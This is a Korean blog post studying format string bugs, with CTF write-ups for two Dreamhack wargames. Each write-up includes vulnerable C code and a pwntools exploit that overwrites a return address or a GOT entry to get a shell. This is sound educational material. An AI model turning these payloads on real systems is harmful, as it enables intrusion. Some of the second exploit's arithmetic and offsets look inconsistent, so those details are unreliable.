ENFJ_Blog
Format String Bug 본문
- chapter 1 : theory
- chapter 2 : wargame 1
- chapter 3 : wargame 3
https://learn.dreamhack.io/114#1
로그인 | Dreamhack
dreamhack.io
Theory
Format String이란?
Format String을 사용하는 함수에서 어떤 형식 또는 형태를 지정해주는 문자열이다.
예)
#include <stdio.h>
int main(){
char str[6] = "hello!";
printf("%s", str);
return 0;
}
위와 같은 곳에서 %s 같은 것을 Format String 이라고 할 수 있음
포맷 스트링 함수의 예시는 printf, scanf, fprintf 등 등과 같은 함수가 있다.
Parameters | Output |
%% | %문자 |
%d | 정수형 문자 |
%s | 문자열 |
%x | 부호없는 16진수 정수 |
%p | void형 포인터 |
%n | 인자에 현재까지 사용된 문자열의 길이 저장 |
%c | 문자 |
%(정수)형식지정자 | 정수의 값만큼 최소 너비로 지정 |
%*형식지정자 | 인자값 만큼 최소 너비로 지정 |
인자 사이에 $를 넣는 것
달러 기호를 사용해 인자의 인덱스에 접근할 수 있다.
예)
// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() {
int num;
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
return 0;
}
위와 같이 %2$d로 두번째 인자에 접근, %1$d로 첫번째 인자에 접근 할 수 있다. (처음에 이해 못해서 C언어로 돌려서 이해함)
Format String Bug
포맷 스트링 함수의 잘못된 사용으로 일어나는 버그.
포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있습니다.
예시)
#include <stdio.h>
int main(){
char buf[32] = {0, }
read(0, buf, 32);
printf(buf);
return 0;
}
위와 같은 코드에서 printf(buf) 에 buf를 바로 주입해서 %p 와같은 포맷스트링을 입력 했을 때 값이 나온다.
근데 생각을 해보자 인자값이 없는데 %p를 하면 값이 나온다 왜 그럴까?
이유는 calling convention 규약에 있다.
그 출력된 값들은 레지스터와 스택에 존재하는 값이 출력되는 것입니다. 출력된 값은 각각 64bit에서 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20] 이다.
위와 같은 원리를 통해서 %p로 임의의 주소를 읽을 수 있다.
조작
임의의 주소 읽기와 마찬가지로 포맷 스트링에 임의의 주소를 넣고, %[n]$n 으로 형식지정자를 이용하여 그 주소에 데이터를 쓸 수 있다. -> n번째 인자값에 n개의 개수만큼 저장으로 원하는 값 저장 가능
위와 같은 포맷 스트링으로 값을 조작해 쉘을 흭득 할 수 있다.
wargame 1
https://dreamhack.io/wargame/challenges/5
basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
C언어 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
보호기법
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
C코드 분석
동적 할당 heap_buf 0x80만큼 선언 stack_buf 0x90 만큼 선언 read에 동적 할당한 heap_buf에 0x80만큼 받고 sprintf 에서 heap_buf에 있는 내용을 stack_buf에 옮기고 출력한다.
취약점
여기는 위에서 설명한 sprintf에서 fsb 취약점이 일어난다. sprintf는 heap_buf에 있는 내용을 stack_buf에 저장하는데 %[n]c와 같이 포맷스트링으로 된 내용도 저장을 하기 때문에 문제가 생긴다. 근데 여기서 문재가 생기는데 heap buf는 저장할 때 "%[n]c"로 저장을 하는데 stack buf에 옮겨졌을 때는 n만큼의 글자로 저장이 되기 때문에 여기서 fsb가 일어나는 동시에 bof를 이르킬 수 있다. 또한 그냥 fsb를 이용하여 스택에 printf의 got주소를 지정하여 got overwrite를 할 수도 있다. 여기선 더 쉬운 bof를 이용하여 익스플로잇 할 것이다.
익스플로잇
먼저 stack_buf에서 ret만큼의 크기를 구한다.
gdb로 뜯어본 결과 0x08048696 <+26>: lea edx,[ebp-0x98] 이므로
stack_buf에서 sfp까지 98인데 sfp 4바이트를 빼야함으로 9c가 된다 그것을 10진수로 변환하면 156이기 때문에 %156c로 포맷 스트링 버그를 이용한 버퍼 오버플로우를 이르킬 수 있다. 거기에 ret에 접근 했으므로 get shell에 주소를 보내준다.
총 익스플로잇
from pwn import*
p = remote("host3.dreamhack.games", 23693)
binsh = 0x08048669
payload = b"%156c" + p32(binsh)
p.sendline(payload)
p.interactive()
wargame 2
basic_exploitation_002
https://dreamhack.io/wargame/challenges/4
basic_exploitation_002
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
C언어 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
보호기법
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
C코드 분석
처음 read로 buf 읽는다. printf로 읽은 값 출력한다. exit를 쓴다.
취약점
read로 0x80을 받기 때문에 오버 플로우가 안 일어난다. 하지만 printf(buf); 가 있다. 여기서 포맷 스트링 버그가 난다. 그 포맷 스트링 버그를 통해 exit_got 오버라이트를 이르킬 수 있다.
익스플로잇
먼저 exit_got의 주소를 구한다
위와 같이 gdb로 exit got의 주소를 구한다
exit got = 0x804a024
get_shell = 0x08048609
위와 같은 주소를 구한다
from pwn import *
p = remote("host3.dreamhack.games", 17108)
# context.log_level = 'debug'
# binsh = 0x08048609
exit_got = 0x804a024
binsh을 주석 처리 한 이유는 포맷 스트링으로 채울 때 생긴다.
get shell의 주소를 10진수로 바꾸면 134,514,185 이숫자가 되는데 이 정도의 숫자를 공백으로 채우면 아무리 exit의 주소를 뺀다 하더라도 타임 오버가 걸릴 확률이 매우 많다. 또한 exit got에 한번에 넣기에는 0x804는 너무 크다.
그래서 %hn으로 exit + 2에 먼저 받고 exit에 0x8609로 자른다 하지만 바로 0x804 = 2052 를 바로 넣기에는 exit에 주소 길이가 있으니 - 8을 해준다 * 2(exit + 2로 인해) -> 2052 - 16 = 2044 그러므로 %2044c가 된다 거기에 0x8609 = 34313이므로 위와 같이 하지만 2044까지 빼야 되니까 2052를 빼준다 40996 - 2052 = 32261 이므로 %32261c 가된다. 그러므로
총 익스플로잇
from pwn import *
p = remote("host3.dreamhack.games", 17108)
# context.log_level = 'debug'
# binsh = 0x08048609
# binsh = 804 8609
exit_got = 0x804a024
payload = p32(exit_got) + p32(exit_got + 2) + b"%2044c%1$hn%32261c%1$hn"
p.sendline(payload)
p.interactive()
'Pwn' 카테고리의 다른 글
ptmalloc - linux 메모리 할당 ( Memory Allocator ) (0) | 2023.10.19 |
---|---|
Command Injection (2) | 2023.10.11 |
개발자의 실수 - Type Error (0) | 2023.09.29 |
Out of Bounds(OOB) (0) | 2023.08.26 |
전체적 노션 링크(지금까지 공부한거) (0) | 2023.08.16 |